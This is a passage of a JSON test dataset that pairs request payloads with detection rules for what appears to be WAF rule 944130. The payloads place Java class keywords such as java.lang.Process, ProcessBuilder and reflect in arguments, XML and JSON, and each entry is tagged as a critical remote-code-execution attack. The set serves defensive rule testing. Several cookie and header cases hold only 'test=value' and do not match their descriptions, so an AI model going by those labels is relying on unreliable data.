}, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Object\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Object</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Object</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Object" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Object\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Object\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Object" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Process" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Process=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Process\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Process</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Process</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Process" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Process\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Process\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Process" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.ProcessBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.ProcessBuilder=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.ProcessBuilder\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.ProcessBuilder</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.ProcessBuilder</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.ProcessBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.ProcessBuilder\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.ProcessBuilder\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.reflect" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.reflect=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": 